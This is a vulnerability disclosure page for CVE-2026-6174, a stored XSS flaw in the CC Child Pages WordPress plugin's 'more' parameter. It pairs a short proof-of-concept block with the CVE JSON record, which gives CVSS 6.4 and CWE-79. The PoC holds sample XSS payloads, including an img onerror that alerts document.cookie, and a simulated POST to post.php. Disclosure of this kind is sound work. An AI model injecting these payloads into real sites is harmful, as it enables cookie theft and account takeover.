CVE-2026-6174

<!-- PoC for Stored XSS in CC Child Pages 'more' parameter Attack Vector: Injecting malicious script into the 'more' parameter. --> <script> // Malicious payload to be injected // Example: <script>alert('XSS');</script> // Or using img tag for stealth: <img src=x onerror=alert(1)> // This payload would be submitted via the plugin's input form or shortcode // parameter handling for 'more'. // Simulated Request Payload: /* POST /wp-admin/post.php HTTP/1.1 ...&cc_child_pages_more=<img src=x onerror=alert(document.cookie)> */ console.log('If the alert pops up, the vulnerability is confirmed.'); </script>

{"cve": {"id": "CVE-2026-6174", "sourceIdentifier": "[email protected]", "published": "2026-05-14T09:16:27.353", "lastModified": "2026-05-14T14:28:41.283", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The CC Child Pages plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'more' parameter in all versions up to, and including, 2.1.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3513934/cc-child-pages", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/998d3485-97c2-4aa6-ba0c-693f5fd6af07?source=cve", "source": "[email protected]"}]}}